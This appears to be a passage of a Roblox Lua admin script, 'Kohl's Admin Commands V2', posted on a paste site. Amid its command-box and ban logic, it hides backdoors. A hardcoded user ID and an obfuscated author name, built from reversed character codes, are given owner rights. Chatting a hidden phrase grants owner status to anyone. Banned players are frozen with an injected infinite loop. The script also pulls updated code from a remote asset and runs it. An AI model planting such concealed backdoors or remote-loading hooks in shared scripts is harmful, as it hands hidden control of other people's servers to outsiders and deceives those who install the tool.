  2141. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2142. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2143. end)) end
  2144. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2145. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2146. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2147. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2148. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2149. end
  2150.  
  2151. if not ntab then script:Destroy() end
  2152. if not bct then script:Destroy() end
  2153.  
  2154. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2155.  
  2156. script.Name = "Kohl's Admin Commands V2"
  2157.  
  2158. if not ntab then script:Destroy() end
  2159. if not bct then script:Destroy() end
  2160. if not tcb then script:Destroy() end
  2161. game.Players.PlayerAdded:connect(AdminControl)
  2162. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2163. end
  2164.  
  2165. local mod = game:service("InsertService"):LoadAsset(100808216)
  2166. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2167. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2168. newac.Disabled = true
  2169. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2170. local old = 0
  2171. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2172. if new > old then
  2173. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2174. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2175. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2176. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2177. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2178. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2179. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2180. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2181. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2182. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2183. wait()
  2184. newac.Parent = game.Workspace
  2185. newac.Disabled = false
  2186. script.Disabled = true
  2187. script:Destroy()
  2188. else
  2189. CHEESE()
  2190. end
  2191. else
  2192. CHEESE()
  2193. end
Advertisement
Add Comment
Please, Sign In to add comment